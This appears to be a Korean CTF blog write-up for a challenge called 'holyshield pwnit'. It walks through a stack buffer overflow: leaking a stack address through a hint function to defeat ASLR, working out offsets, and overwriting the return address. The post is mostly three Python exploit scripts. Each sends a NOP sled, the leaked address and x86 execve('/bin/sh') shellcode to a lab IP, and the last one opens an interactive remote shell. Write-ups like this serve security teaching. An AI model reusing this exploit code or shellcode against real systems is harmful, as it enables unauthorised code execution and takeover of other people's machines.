본문 바로가기

CTF/Write-up

holyshield pwnit


우선 v3에 입력을 받고 v5를 넘겨준다.


힌트 함수에서 메모리 릭을 통해 스택 주소를 구할 수 있고


exploit 함수를 통해 ret을 덮어 쓸 수 있다


페이로드는 [NOP*48][Stack_Address][NOP][ShellCode]


스택 주소를 구해보자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from struct import *
from socket import *
import hexdump
import time
 
= socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.153.139"3720))
 
shell =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
 
payload = "A"*48
 
time.sleep(0.3)
print s.recv(1024)
 
s.send("1\n")
print s.recv(1024)
 
s.send("999\n")
data = s.recv(1024)
hexdump.hexdump(data)
 
 
s.send("2\n")
time.sleep(0.3)
print s.recv(1024)
 
s.send(payload + "\n")
 
raw_input(">")
print s.recv(1024)
 
s.send("3\n")
print s.recv(1024)
 
cs

이런 소스를 스택 주소를 구할 때 사용하였는데 소스를 실행하고 기다린다음


gdb로 잡고 leave에 브레이크 걸고


브레이크까지 실행시킨다


이렇게 들어간 값들이 보이는데 위에가 스택 주소다 하지만 ASLR이 걸려서 스택주소를 바로 구할 수 가 없다

그래서 힌트 함수를 사용하는데 


방금 사용한 소스에 출력화면이다. 12:16사이의 주소값이 거의 고정값처럼 스택에서 저만큼 떨어져있다.

많이 실행해보면 알 수 있다. 0xbff0155c-0xbff0148c를 해주면 스택 주소를 구할 수 있다.


오프셋은 D0인데

음 정리하자면 힌트함수에서 릭을 하면 12:16에 나오는 주소에서 D0을 빼면 스택 주소가 된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from struct import *
from socket import *
import hexdump
import time
 
= lambda x: pack("<L", x)
up = lambda x: unpack("<L", x)[0]
 
= socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.153.139"3720))
 
shell =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
 
time.sleep(0.3)
print s.recv(1024)
 
s.send("1\n")
print s.recv(1024)
 
s.send("999\n")
time.sleep(0.3)
data = s.recv(1024)
stack = up(data[12:16])-0xD0
hexdump.hexdump(data)
 
 
s.send("2\n")
time.sleep(0.3)
print s.recv(1024)
 
payload = "\x90"*48 + p(stack)+"\x90"*8+shell
print stack
s.send(payload + "\n")
 
raw_input(">")
print s.recv(1024)
 
s.send("3\n")
print s.recv(1024)
 
cs

해당 소스를 통해 실험해보자


이렇게 보면 저 중간에 스택 주소가 잘 구해졌다. 그 뒤에 쉘코드가 있는데 오프셋을 좀 더 정확히 구해서 쉘코드 부분을 맞춰주면 된다.


[12:16]주소에서 저 쉘코드 주소를 빼면 

그럼 0x94가 된다.


NOP를 48개 넣어주고 ret주소에 stack 주소를 집어 넣고 뒤에 쉘코드를 넣는다

근데 stack주소는 힌트함수를 통해 얻을 수 있고 [12:16]의 주소를 참고하여 -0x94를 해주면 쉘코들르 가르킬 수 있게된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from socket import *
from struct import *
from time import sleep
import hexdump
 
= lambda x: pack("<L", x)
up = lambda x: unpack("<L", x)[0]
 
socket = socket(AF_INET, SOCK_STREAM)
socket.connect(("192.168.153.139"3720))
 
shell =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
 
sleep(0.3)
print socket.recv(1024)
socket.send("1"+"\n")
print socket.recv(1024)
socket.send("999"+"\n")
sleep(0.3)
 
data = socket.recv(1024)
stack = up(data[12:16])-0x94
 
socket.send("2"+"\n")
print socket.recv(1024)
 
payload = "\x90"*48 + p(stack)+"\x90"*8+shell
socket.send(payload+"\n")
sleep(0.3)
= socket.recv(1024)
socket.send("3"+"\n")
sleep(0.3)
print socket.recv(1024)
 
while 1:
    command = raw_input("tory> ")
    send = socket.send(command+"\n")
    print socket.recv(1024)
 
socket.close()
cs



끝!!!

'CTF > Write-up' 카테고리의 다른 글

Warm-Heap  (0) 2017.01.15
codegate 2014 nuclear  (0) 2017.01.13
codegate 2013 vuln200  (0) 2017.01.08
Layer7 ctf 2015 IhaveLongDariYouHaveShotDari  (6) 2017.01.07
Pico ctf 2014 rop1  (0) 2017.01.05